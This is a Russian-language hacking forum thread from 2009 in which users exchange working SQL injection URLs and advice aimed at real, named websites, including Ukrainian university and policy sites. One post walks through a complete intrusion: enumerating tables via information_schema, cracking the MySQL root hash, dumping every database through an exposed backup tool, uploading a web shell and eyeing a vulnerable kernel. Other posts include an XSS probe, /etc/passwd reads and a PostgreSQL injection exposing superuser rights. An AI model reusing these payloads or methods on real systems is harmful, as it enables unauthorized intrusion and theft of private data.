Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. _gr34t

    _gr34t Member

    Joined:
    26 Oct 2008
    Messages:
    89
    Likes Received:
    13
    Reputations:
    5
    Спасибо за ответ.
    Статья и правда замечательная, вчера её прочитал. Из неё и понял, что моя скуля почти бесполезна :)
    В запросе не используется таблица wp_users:
    LOAD_FILE('/etc/passwd') - работает, можно посимвольно читать.
    Но LOAD_FILE('/ip/site/www/wp-config.php') - уже не работает. На сколько я понимаю, права на чтение для папки /ip/site/www/ стоят только для апача (.
    Буду искать дальше
     
  2. TELO

    TELO Member

    Joined:
    21 Jan 2009
    Messages:
    68
    Likes Received:
    44
    Reputations:
    6
    а как тут узнать количество столбцов
    http://www.multirussia.ru/index.php?id=34'
     
  3. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    482
    Likes Received:
    380
    Reputations:
    49
    и снова 3 ий мускул ,без поддержки обьединения запросов посредством UNION ,+ при запросах типа SELECT,ни подзапросов
     
  4. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    А почему же нет?
     
  5. Krist_ALL

    Krist_ALL Banned

    Joined:
    14 Jan 2009
    Messages:
    436
    Likes Received:
    193
    Reputations:
    24
    введ в поле "><script>alert(1)</script>

    а в ответ

    че за?????
     
  6. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    Троль?
    Я в ужасе.
     
  7. Krist_ALL

    Krist_ALL Banned

    Joined:
    14 Jan 2009
    Messages:
    436
    Likes Received:
    193
    Reputations:
    24
    я не пойму нафиг что ругается на ошибку. причем тут фрамеворк
     
  8. _gr34t

    _gr34t Member

    Joined:
    26 Oct 2008
    Messages:
    89
    Likes Received:
    13
    Reputations:
    5
    Krist_ALL, это похоже на ColdFusion
     
  9. Aртем

    Aртем Member

    Joined:
    18 Oct 2009
    Messages:
    53
    Likes Received:
    31
    Reputations:
    5
    univd.edu.ua
    Этот пост посвящается человеку под ником Strilo4ka.
    Меня просто удивила такая рьяная настойчивость в поиске, и такая безнадежная по его мнению ситуация, в более чем простом деле.

    Есть SQL инъект, и первым делом смотрим версию БД MySQL, за это отвечает функция version().
    Т.к. выводимые поля у нас 1, 2 и 3 значит выполняем запрос:
    Code:
    http://www.univd.edu.ua/document/index.php?id_doc=414+and+1=4+union+select+version(),2,3,4,5+--+
    На выводе мы получаем строку 5.0.67-log, а это значит, что в отличии от версий >= 4.x есть преимущество такое как БД information_schema и таблицы в ней tables и columns, по средствам которых можно получить полное представление о структуре БД. Самое, на мой взгляд, оптимальное решение, вывести структуры БД в виде таблица:колонка, это можно сделать обратившись к таблице columns и её колонкам table_name и column_name.
    Запрос будет выглядеть следующем образом:
    Code:
    http://www.univd.edu.ua/document/index.php?id_doc=414+and+1=4+union+select+concat_ws(0x3a,table_name,column_name),2,3,4,5+from+information_schema.columns+--+
    Но так как скрипт выводит всего лишь одну строку из БД, то мы получаем имя таблицы CHARACTER_SETS и имя колонки CHARACTER_SET_NAME. Для того, что бы нам посмотреть все имена существующих таблиц и колонок, нам необходимо воспользоваться оператор LIMIT. Синтаксис оператора выгладит следующим образом: LIMIT 10, 1; Данное выражение вернет одну строку, начиная с десятой. А значит используя этот оператор наш запрос будет выглядеть следующим образом:
    Code:
    http://www.univd.edu.ua/document/index.php?id_doc=414+and+1=4+union+select+concat_ws(0x3a,table_name,column_name),2,3,4,5+from+information_schema.columns+limit+200,1+--+
    Т.е. мы вывели 200-ую строку таблицы columns, результат которой: wp_comments:comment_content
    Проще говоря, нужно просто перебрать все записи таблицы columns с первой по последнюю, если не охота возится руками, есть специализированный софт, который делает это всё в автоматическом режиме.

    Так же можно проверить права пользователя обратившись к БД mysql и таблице user. Чаще, доступ к этой таблице естественно закрыт, из-за безопасности пользователей. Но в нашем случае, это не так :) И мы смело можем посмотреть имя и пароль (в зашифрованном виде) пользователей БД MySQL. Пароль шифруется обычно алгоритмом либо mysql, либо mysql5. В нашем случае, пароль зашифрован именно алгоритмом mysql. Имя логин root (главного пользователя) и пароль (хеш которого мы подобрали на онлайн сервисе hashcracking.info), мы можешь уже что-нибудь сделать.
    Попробуем найти непосредственно доступ к БД, через PhpMyAdmin, т.к. чаще всего (чаще всегда ;)) используется именно она. Попробуем просканировать сайт, на открытые директории через онлайн сервис security-digger.org.
    Досадно :( но PhpMyAdmin сервис нам так и не показал.
    В отчаянии, я посмотрел robots.txt, и к удивлению увидел Disallow: /dumper/, в которой дивным образом располагается Sypex Dumper Lite 1.0.8. Эта утилита для легкого и удобного бэкапа БД. Недолго думая вводим уже известный нам пароль пользователя root. Теперь мы имеем возможность сделать и скачать бэкап любой БД на этом сервере. Смотрим, что у нас есть:
    Code:
    information_schema
    banner
    deal
    dlinux
    dpforum
    ecom
    forum
    foto
    helur_danneo
    human
    hybrid
    l2jdb
    linux
    linuxkhua
    mysql
    shop
    site
    swinger
    test
    tz
    univd
    wolf
    Не найдя ничего интересного в базе univd и тем более не зная названия директории администраторской панели, я, немного подумав начинаю просматривать содержимое других БД.
    И почему-то приглянулась мне почему-то база linuxkhua, а именно приглянулась своим оканчанием ua, т.е. понятно, что это национальный украинский домен :) Не долго подумав, вбиваю в гугле linuxkhua, и как результат получаю это:
    Code:
    [U][B]Свободное ПО для свободных людей @ linux.kh.ua - Каталог сайтов ...[/B][/U]
    Опечатки: Ѻ Зз Ð , linuxkhua. SEO: Яндекс ТИЦ: 9100, Google PR: 0. Анализ сайта: Alexa traffic Старницы сайта linux.kh.ua в индексе Google.com ...
    [B]www.spravka.co.ua/10721-linux.kh.ua - Похожие[/B]
    Ну и ясно стало, что сайт linux.kh.ua и база linuxkhua - это единое целое :eek:
    Дальше, первым делом, смотрим robots.txt и узнаем название директории администраторской панели: linux.kh.ua/apanel/ Достаем из бэкапа что мы слили средствами Sypex Dumper, логин и пароль пользователя, заходим и видим вкладочку "Файл браузер" и жмем кнопочку "Залить шелл".
    Заходим на шелл и попадаем на сервер, на котором хостится univd.edu.ua. Так как цель у нас была непосредственно только этот сайт, то прав на него нам хватает :)
    /home/snake/univd/univd/ drwxrwxrwx

    Если же нужны какие-то другие манипуляции, то и здесь все хорошо, т.к. ядро бажное:
    Code:
    uname -a: Linux web 2.6.15.6 #3 PREEMPT Thu May 25 16:08:10 EEST 2006 i686
    Но к сожалению SSH порт закрыт :(

    Но намеченная цель, достигнута. Уважаемый пользователь Strilo4ka, все действия указанные выше, не требуют никаких специфических знание, включаем логику и всё становится предельно ясным :) Успехов!

    В этом посте я не указывал имена таблиц в которых лежат конфиденциальные данные, такие как логины и пароли, так же скрыл сами пароли. Но получить эти данные не составляют никаких проблем. Ссылки на шелл и сбрученные пароли, не высылаю. Все предельно просто. :)
     
    6 people like this.
  10. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    482
    Likes Received:
    380
    Reputations:
    49
    Code:
    возможно ли провести инъекцию в этом случае:
    "SELECT page_id,page_title FROM page WHERE page_id='{INJ}' ";
    "SELECT column1,column2,column3,column4,column5,column6,co lumn7 FROM table_xz WHERE page_id='{INJ}' ORDER BY date desc, id desc ";
    
    update :
    сперва глянул на локалхосте :
    1) ?page_id=1+and+1=1
    2) ?page_id=1+and+1=2 (ответ тот же что и в первом)
    вот по этому так и решил.
     
    #9510 L I G A, 25 Oct 2009
    Last edited: 26 Oct 2009
  11. Aртем

    Aртем Member

    Joined:
    18 Oct 2009
    Messages:
    53
    Likes Received:
    31
    Reputations:
    5
    Почему же? Можно провести, если конечно нет фильтрации. Если не будет вывода, то можно создать условие, при котором подбирать символы посимвольно, и если символ соответствует нужному, то возвращать верное значение page_id, если не верное, то возвращать заведомо неверное значение.
     
  12. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    если нет никаких "особых условий", то иньекция будет обычная, тоесть с нормальным выводом. Всё зависит от скрипта
     
  13. TELO

    TELO Member

    Joined:
    21 Jan 2009
    Messages:
    68
    Likes Received:
    44
    Reputations:
    6
    Смотрите, есть табла админа с паролькой
    Code:
    http://www.ayda.ru/hotels/show_country.php?id=-11%20union%20select%201,2,3,login,5,psw,7,8,9,10,11,12,13,14,15,16,17%20FROM%20mkj_admin
    есть админка http://www.ayda.ru/z_admin
    Вопрос, почему я не могу попасть в админку?
    блин, и так везде
     
  14. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Потому что у тебя на z_admin стоит бейсик авторизация.
     
  15. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    eliteload

    -1 union select 1,2/*
    либо
    -1 union select 1,2,3,4,5,6,7/*

    Вывод не зависит запроса к базе. Вывод это скрипт, т.к. скрипта не вижу, не знаю где будет вывод.

    Опять-же повторюсь. это если в скрипте нет никаких заморочек типо die() при нулевом результате выборки и т.д.

    ну и я не понял, ты там ' ' для обрамления поставил, или они в коде есть, если в коде то
    -1' union select 1,2/*
    либо
    -1' union select 1,2,3,4,5,6,7/*
     
    #9515 Kakoytoxaker, 26 Oct 2009
    Last edited: 26 Oct 2009
  16. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    482
    Likes Received:
    380
    Reputations:
    49
    "SELECT page_id,page_title FROM page WHERE page_id='{INJ} '";
    сегодня тестил , у меня немного другой запрос ,но это сути не меняет:
    Code:
    $id=stripslashes($_GET['newsid']);
    $news = mysql_query("select *  from  `news` where id ='$id'")
    or die(mysql_error());
    (в таблице `news` - 6 полей), думаю тут все понятно,+вклеил mysql_error(); послушать что мускул глаголит.
    при манипулировании с разными вариантами запроса ,подошел :
    Code:
    ?newsid=-1'+union+select+1,2,3,4,5,6/*
    с комментарием /* , другие :
    #,--, - не катят,голову сломал ,но хз почему (пробавал однострочный запрос , результат - тот же)
    то есть так как описал jokester:
     
  17. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    L I G A
    Всё это уже тестилось и обсуждалось, читайте маны, и не придётся по 100 раз одно и то-же пробовать :)
    https://forum.antichat.ru/showpost.php?p=1047515&postcount=72
    и пару постов вниз обсуждение
     
    1 person likes this.
  18. Aртем

    Aртем Member

    Joined:
    18 Oct 2009
    Messages:
    53
    Likes Received:
    31
    Reputations:
    5
    L I G A, весомую роль играет еще работа скрипта, потому-как неизвестно, что и как фильтруется, и как обработанный запрос к БД, обрабатывает сам скрипт.
     
  19. Roston

    Roston Elder - Старейшина

    Joined:
    31 Jul 2008
    Messages:
    337
    Likes Received:
    104
    Reputations:
    8
    Драсте
    есть такая штука
    http://www.foreignpolicy.org.ua/view2.php?id=28768
    если ставлю кавычку то пишет "ОШИБКА: невозможно отобразить выбраную новость"
    Если делаю вот так http://www.foreignpolicy.org.ua/view2.php?id=28769-1 то отобразицца моя новость.
    Вот беру дальше http://www.foreignpolicy.org.ua/view2.php?id=28768+ORDER+BY+9 и уже узнаю что у меня 9 полей
    Но почему вот такой запрос приводит к ошибке
    http://www.foreignpolicy.org.ua/view2.php?id=28768+UNION+SELECT+1,2,3,4,5,6,7,8,9
     
  20. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    Потому что тут PostgreSQL
    http://www.foreignpolicy.org.ua/view2.php?id=-28768+union+select+null,version(),null,null,null,null,null,null,null--
    PostgreSQL 8.2.13 on i386-portbld-freebsd6.3, compiled by GCC cc (GCC) 3.4.6 [FreeBSD] 20060305
    PS Там даже у юзера права usesuper
     
    #9520 Spyder, 26 Oct 2009
    Last edited: 26 Oct 2009
    1 person likes this.
Thread Status:
Not open for further replies.